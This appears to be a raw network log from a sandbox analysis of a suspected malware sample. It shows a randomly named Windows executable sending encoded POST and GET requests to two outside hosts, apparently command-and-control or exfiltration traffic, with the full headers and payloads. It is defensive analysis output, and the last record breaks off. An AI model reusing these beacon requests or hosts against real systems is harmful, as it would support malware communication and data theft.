Oct 8, 2024 16:35:06.383351088 CEST	608	IN	HTTP/1.1 501 Unsupported method ('POST') Server: nginx Date: Tue, 08 Oct 2024 14:35:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Data Raw: 31 61 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 48 54 4d 4c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 35 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 35 30 31 20 55 6e 73 75 70 70 6f 72 74 65 64 20 6d 65 74 68 6f 64 20 28 27 50 4f 53 54 27 29 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 68 31 3e 55 6e 73 75 70 70 6f [TRUNCATED] Data Ascii: 1ac<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <meta http-equiv="Content-Type" content="text/HTML; charset=iso-8859-15" /> <title>501 Unsupported method ('POST')</title> </head> <body> <h1>Unsupported method ('POST')</h1> <p>Server does not support this operation</p> </body></html> 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	50018	217.70.184.50	80	2844	C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 16:35:08.803767920 CEST	847	OUT	POST /nxfn/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.languagemodel.pro Origin: http://www.languagemodel.pro Content-Type: application/x-www-form-urlencoded Content-Length: 225 Connection: close Cache-Control: max-age=0 Referer: http://www.languagemodel.pro/nxfn/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 2d 4e 6e 6c 6c 56 76 48 3d 33 68 66 69 73 5a 74 63 61 50 77 2b 43 44 55 6e 34 47 4a 31 44 47 33 4e 50 71 62 32 6c 59 38 41 45 50 75 54 49 44 75 67 2f 2f 4b 73 56 51 59 50 4b 6b 55 77 79 75 47 68 33 44 42 31 46 79 6c 54 33 66 59 54 55 49 46 57 56 55 54 33 6f 49 47 36 35 4a 32 4b 62 31 61 53 59 55 78 55 32 36 44 2f 47 35 39 58 58 5a 6c 4e 78 6a 4f 4e 4d 6e 68 6f 46 66 75 79 78 57 2b 4c 34 72 46 76 6f 5a 54 6a 6e 32 52 30 37 33 32 6b 4b 66 31 47 62 75 2f 50 59 5a 36 4b 43 67 2b 6c 41 47 42 42 6d 31 51 75 56 42 73 37 6c 72 6b 6a 69 2f 73 6a 39 50 59 37 45 4d 31 38 7a 6a 79 39 69 6d 66 4d 52 56 53 63 6b 76 49 30 4f 4d 52 67 4d 39 50 72 73 42 33 44 46 77 79 50 78 77 49 3d Data Ascii: -NnllVvH=3hfisZtcaPw+CDUn4GJ1DG3NPqb2lY8AEPuTIDug//KsVQYPKkUwyuGh3DB1FylT3fYTUIFWVUT3oIG65J2Kb1aSYUxU26D/G59XXZlNxjONMnhoFfuyxW+L4rFvoZTjn2R0732kKf1Gbu/PYZ6KCg+lAGBBm1QuVBs7lrkji/sj9PY7EM18zjy9imfMRVSckvI0OMRgM9PrsB3DFwyPxwI=
Oct 8, 2024 16:35:09.392776966 CEST	608	IN	HTTP/1.1 501 Unsupported method ('POST') Server: nginx Date: Tue, 08 Oct 2024 14:35:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Data Raw: 31 61 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 48 54 4d 4c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 35 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 35 30 31 20 55 6e 73 75 70 70 6f 72 74 65 64 20 6d 65 74 68 6f 64 20 28 27 50 4f 53 54 27 29 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 68 31 3e 55 6e 73 75 70 70 6f [TRUNCATED] Data Ascii: 1ac<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <meta http-equiv="Content-Type" content="text/HTML; charset=iso-8859-15" /> <title>501 Unsupported method ('POST')</title> </head> <body> <h1>Unsupported method ('POST')</h1> <p>Server does not support this operation</p> </body></html> 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	50019	217.70.184.50	80	2844	C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 16:35:11.502243042 CEST	10929	OUT	POST /nxfn/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.languagemodel.pro Origin: http://www.languagemodel.pro Content-Type: application/x-www-form-urlencoded Content-Length: 10305 Connection: close Cache-Control: max-age=0 Referer: http://www.languagemodel.pro/nxfn/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 2d 4e 6e 6c 6c 56 76 48 3d 33 68 66 69 73 5a 74 63 61 50 77 2b 43 44 55 6e 34 47 4a 31 44 47 33 4e 50 71 62 32 6c 59 38 41 45 50 75 54 49 44 75 67 2f 2f 43 73 56 43 51 50 4c 46 55 77 7a 75 47 68 30 44 42 30 46 79 6c 65 33 66 51 58 55 49 4a 6f 56 58 37 33 70 71 65 36 6f 49 32 4b 52 31 61 53 58 30 78 58 70 4b 44 75 47 35 73 51 58 5a 31 4e 78 6a 4f 4e 4d 69 6c 6f 54 64 47 79 33 57 2b 49 77 4c 46 56 73 5a 54 50 6e 32 49 42 37 33 7a 54 4b 75 56 47 62 4f 50 50 64 76 75 4b 4b 67 2b 72 42 47 42 5a 6d 31 73 6c 56 46 4e 58 6c 71 51 61 69 34 45 6a 2f 37 35 2b 57 4e 42 59 77 42 36 46 2b 31 6e 4d 53 55 79 52 6a 2f 67 51 50 2b 68 41 66 4d 76 70 32 54 71 64 63 44 2b 6b 69 45 56 61 6d 38 73 4c 70 58 45 4e 55 59 2f 4e 56 31 6b 72 6c 65 51 55 79 59 63 6f 62 64 6c 63 70 78 63 72 4e 4e 4c 6e 59 30 41 5a 53 42 4d 4a 39 59 4b 6c 50 6f 32 4a 79 33 70 68 34 73 66 42 43 61 4f 34 42 68 2f 6c 41 2f 4f 45 51 6d 53 6f 71 75 41 59 54 77 6b 4c 39 70 42 6a 74 35 4d 4b 56 33 5a 48 76 6d 36 4f 78 35 79 71 51 37 75 50 77 76 34 57 4b [TRUNCATED] Data Ascii: -NnllVvH=3hfisZtcaPw+CDUn4GJ1DG3NPqb2lY8AEPuTIDug//CsVCQPLFUwzuGh0DB0Fyle3fQXUIJoVX73pqe6oI2KR1aSX0xXpKDuG5sQXZ1NxjONMiloTdGy3W+IwLFVsZTPn2IB73zTKuVGbOPPdvuKKg+rBGBZm1slVFNXlqQai4Ej/75+WNBYwB6F+1nMSUyRj/gQP+hAfMvp2TqdcD+kiEVam8sLpXENUY/NV1krleQUyYcobdlcpxcrNNLnY0AZSBMJ9YKlPo2Jy3ph4sfBCaO4Bh/lA/OEQmSoquAYTwkL9pBjt5MKV3ZHvm6Ox5yqQ7uPwv4WKu0SqE1/nDg8hqTgJcJ49QFg2rxtk/EreMQu1tjXuPPfVYmWUO/bYZmpJZkWprQ83eVnuih2QWQNuRo0TUcSWl902BP27oCWOtyKCe2iulkQzWX85GNKevpPr/5xvpzNxVMNP3hJTD2Z53SbryNbsC22obp+yuOgY4C9JGnkIP1v5RsLqr5/puEhTnsFxASReuL8xm/5gMkjOljjBJOnwYdf5X+bGeKVk1224KS78gDN4VnSC26cIxKpqUgC0Cabm3ZdYG7z+wqm7zwy6TFguDy+OWxdSn8kRQMoVzsEqkU/O0P7DBVKX1HHYUl6lds2glM5NzMumyrY99LLQCTmWWXPzaVbigFCof9uSZHJNla1T0EBOgzOKLO0PNDzGXv0CflLiYt2ZYhg1X3hhyA0CLR/lSack9SNHzx6om5tYHAgWXKH+DI1chzQqJSlCQR4YcNMEZJdoYQxFAaXP6MR4U4LnUrV4l2Nzgk3DMS8zKN/gTFPRynD6s+Rvmsu+IMzK6aOya6mgPfQ4aHqjfwE0+rT3bocsGNpVtJ67IAFTiSpamPsKF8+EjIr/u07504Kvkb7X/S8osD1xHo20KQ8ESjltX9jmVRGfA2WfZmjsKjbZ5ZR5x9byeXDYR8oVO95FP43m2IGlfUXCfx3XhJG3cJML5LtmL2nD21 [TRUNCATED]
Oct 8, 2024 16:35:13.135819912 CEST	713	IN	HTTP/1.1 502 Bad Gateway Server: nginx Date: Tue, 08 Oct 2024 14:35:12 GMT Content-Type: text/html Content-Length: 568 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 [TRUNCATED] Data Ascii: <html><head><title>502 Bad Gateway</title></head><body bgcolor="white"><center><h1>502 Bad Gateway</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Oct 8, 2024 16:35:13.136502981 CEST	713	IN	HTTP/1.1 502 Bad Gateway Server: nginx Date: Tue, 08 Oct 2024 14:35:12 GMT Content-Type: text/html Content-Length: 568 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 [TRUNCATED] Data Ascii: <html><head><title>502 Bad Gateway</title></head><body bgcolor="white"><center><h1>502 Bad Gateway</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Oct 8, 2024 16:35:13.137814045 CEST	713	IN	HTTP/1.1 502 Bad Gateway Server: nginx Date: Tue, 08 Oct 2024 14:35:12 GMT Content-Type: text/html Content-Length: 568 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 [TRUNCATED] Data Ascii: <html><head><title>502 Bad Gateway</title></head><body bgcolor="white"><center><h1>502 Bad Gateway</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	50020	217.70.184.50	80	2844	C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 16:35:14.043005943 CEST	560	OUT	GET /nxfn/?e6mhx=LZwxPLrhqt_8A&-NnllVvH=6j3CvtUhPdUgNSN69nh1RWvnIL+RhJE9GdmFQzyR6PqyVz5YOV5r49CB0ghAIxZx6PIHaKVcYUnZkN+R6pfVeUaFaQwVg8/fN6RHd5lVuyrWHiNmavf3gAw= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.languagemodel.pro Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Oct 8, 2024 16:35:14.672527075 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 08 Oct 2024 14:35:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Vary: Accept-Language Data Raw: 37 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 54 68 69 73 20 64 6f 6d 61 69 6e 20 6e 61 6d 65 20 68 61 73 20 62 65 65 6e 20 72 65 67 69 73 74 65 72 65 64 20 77 69 74 68 20 47 61 6e 64 69 2e 6e 65 74 2e 20 49 74 20 69 73 20 63 75 72 72 65 6e 74 6c 79 20 70 61 72 6b 65 64 20 62 79 20 74 68 65 20 6f 77 6e 65 72 2e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 6c 61 6e 67 75 61 67 65 6d 6f 64 65 6c 2e 70 72 6f 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 [TRUNCATED] Data Ascii: 79d<!DOCTYPE html><html class="no-js" lang=en> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width"> <meta name="description" content="This domain name has been registered with Gandi.net. It is currently parked by the owner."> <title>languagemodel.pro</title> <link rel="stylesheet" type="text/css" href="main-78844350.css"> <link rel="shortcut icon" href="favicon.ico" type="image/x-icon"/> <link rel="preload" as="font" href="fonts/Montserrat-Regular.woff2" type="font/woff2" crossorigin/> <link rel="preload" as="font" href="fonts/Montserrat-SemiBold.woff2" type="font/woff2" crossorigin/> </head> <body> <div class="ParkingPage_2023-root_2dpus "><main class="OldStatic_2023-root_1AGy1 Parking_2023-root_qhMQ2"><div><article class="Parking_2023-content_1rA87"><h1 class="OldStatic_2023-title_13ceK">This domain name has been registered with Gandi.net</h1><div class="OldStatic_2023-text_37nqO Parking_2023-text_1JZys"><p><a href="https: [TRUNCATED]
Oct 8, 2024 16:35:14.672616005 CEST	914	IN	Data Raw: 3d 6c 61 6e 67 75 61 67 65 6d 6f 64 65 6c 2e 70 72 6f 22 3e 3c 73 74 72 6f 6e 67 3e 56 69 65 77 20 74 68 65 20 57 48 4f 49 53 20 72 65 73 75 6c 74 73 20 6f 66 20 6c 61 6e 67 75 61 67 65 6d 6f 64 65 6c 2e 70 72 6f 3c 2f 73 74 72 6f 6e 67 3e 3c 2f Data Ascii: =languagemodel.pro"><strong>View the WHOIS results of languagemodel.pro</strong></a> to get the domains public registration information.</p></div><div class="Parking_2023-positionbox_2OgLh"><div class="Parking_2023-outerbox_2j18t"><p class=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	50021	63.250.47.40	80	2844	C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 16:35:21.067187071 CEST	806	OUT	POST /3bdq/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.kexweb.top Origin: http://www.kexweb.top Content-Type: application/x-www-form-urlencoded Content-Length: 205 Connection: close Cache-Control: max-age=0 Referer: http://www.kexweb.top/3bdq/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 2d 4e 6e 6c 6c 56 76 48 3d 72 4e 72 50 44 42 69 6b 6e 56 71 58 76 61 79 57 38 35 50 54 53 4f 58 6c 31 71 6f 4e 63 70 6c 59 32 72 53 6b 72 79 33 66 64 6b 71 72 4d 45 62 71 68 7a 62 59 30 46 59 6e 64 6f 73 4f 41 45 51 71 4b 55 6e 6c 72 72 44 33 6b 5a 35 73 32 41 38 34 6e 6f 45 6e 67 45 77 5a 75 62 70 78 6e 7a 32 4d 6a 6f 4c 54 70 67 4a 42 5a 56 4f 79 44 56 45 6c 34 31 32 44 46 62 48 70 65 63 30 5a 45 51 6d 6d 6d 6c 4c 4f 4d 39 49 73 35 46 33 50 71 37 57 55 4e 78 54 45 63 55 58 4b 57 6c 74 32 4e 6b 78 6c 71 77 74 32 35 35 2b 75 6f 49 6d 65 59 63 39 71 4d 54 6b 77 6e 35 37 55 76 76 6a 4f 42 76 67 72 7a 41 3d 3d Data Ascii: -NnllVvH=rNrPDBiknVqXvayW85PTSOXl1qoNcplY2rSkry3fdkqrMEbqhzbY0FYndosOAEQqKUnlrrD3kZ5s2A84noEngEwZubpxnz2MjoLTpgJBZVOyDVEl412DFbHpec0ZEQmmmlLOM9Is5F3Pq7WUNxTEcUXKWlt2Nkxlqwt255+uoImeYc9qMTkwn57UvvjOBvgrzA==
Oct 8, 2024 16:35:21.787060976 CEST	595	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 14:35:21 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 389 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	50022	63.250.47.40	80	2844	C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 16:35:23.621690035 CEST	826	OUT	POST /3bdq/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.kexweb.top Origin: http://www.kexweb.top Content-Type: application/x-www-form-urlencoded Content-Length: 225 Connection: close Cache-Control: max-age=0 Referer: http://www.kexweb.top/3bdq/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 2d 4e 6e 6c 6c 56 76 48 3d 72 4e 72 50 44 42 69 6b 6e 56 71 58 75 37 69 57 35 61 6e 54 58 75 58 36 73 61 6f 4e 4c 35 6b 52 32 72 57 6b 72 32 76 32 65 57 65 72 4c 68 6e 71 69 79 62 59 7a 46 59 6e 46 34 73 4c 4f 6b 51 68 4b 55 62 58 72 72 76 33 6b 61 46 73 32 42 4d 34 6d 66 51 34 68 55 77 62 69 37 70 7a 6f 54 32 4d 6a 6f 4c 54 70 67 74 6e 5a 52 61 79 44 6c 30 6c 2b 58 4f 4d 61 72 48 71 4b 4d 30 5a 58 41 6d 69 6d 6c 4b 2b 4d 38 55 53 35 44 7a 50 71 35 65 55 44 41 54 44 46 6b 57 42 59 46 74 34 4f 32 45 41 73 68 55 2b 32 35 6d 61 69 64 43 52 64 61 73 77 64 69 46 6e 31 35 66 6e 79 6f 71 36 4d 73 64 69 6f 45 41 6b 47 53 4a 55 34 49 61 38 67 35 57 44 31 4b 74 52 34 78 49 3d Data Ascii: 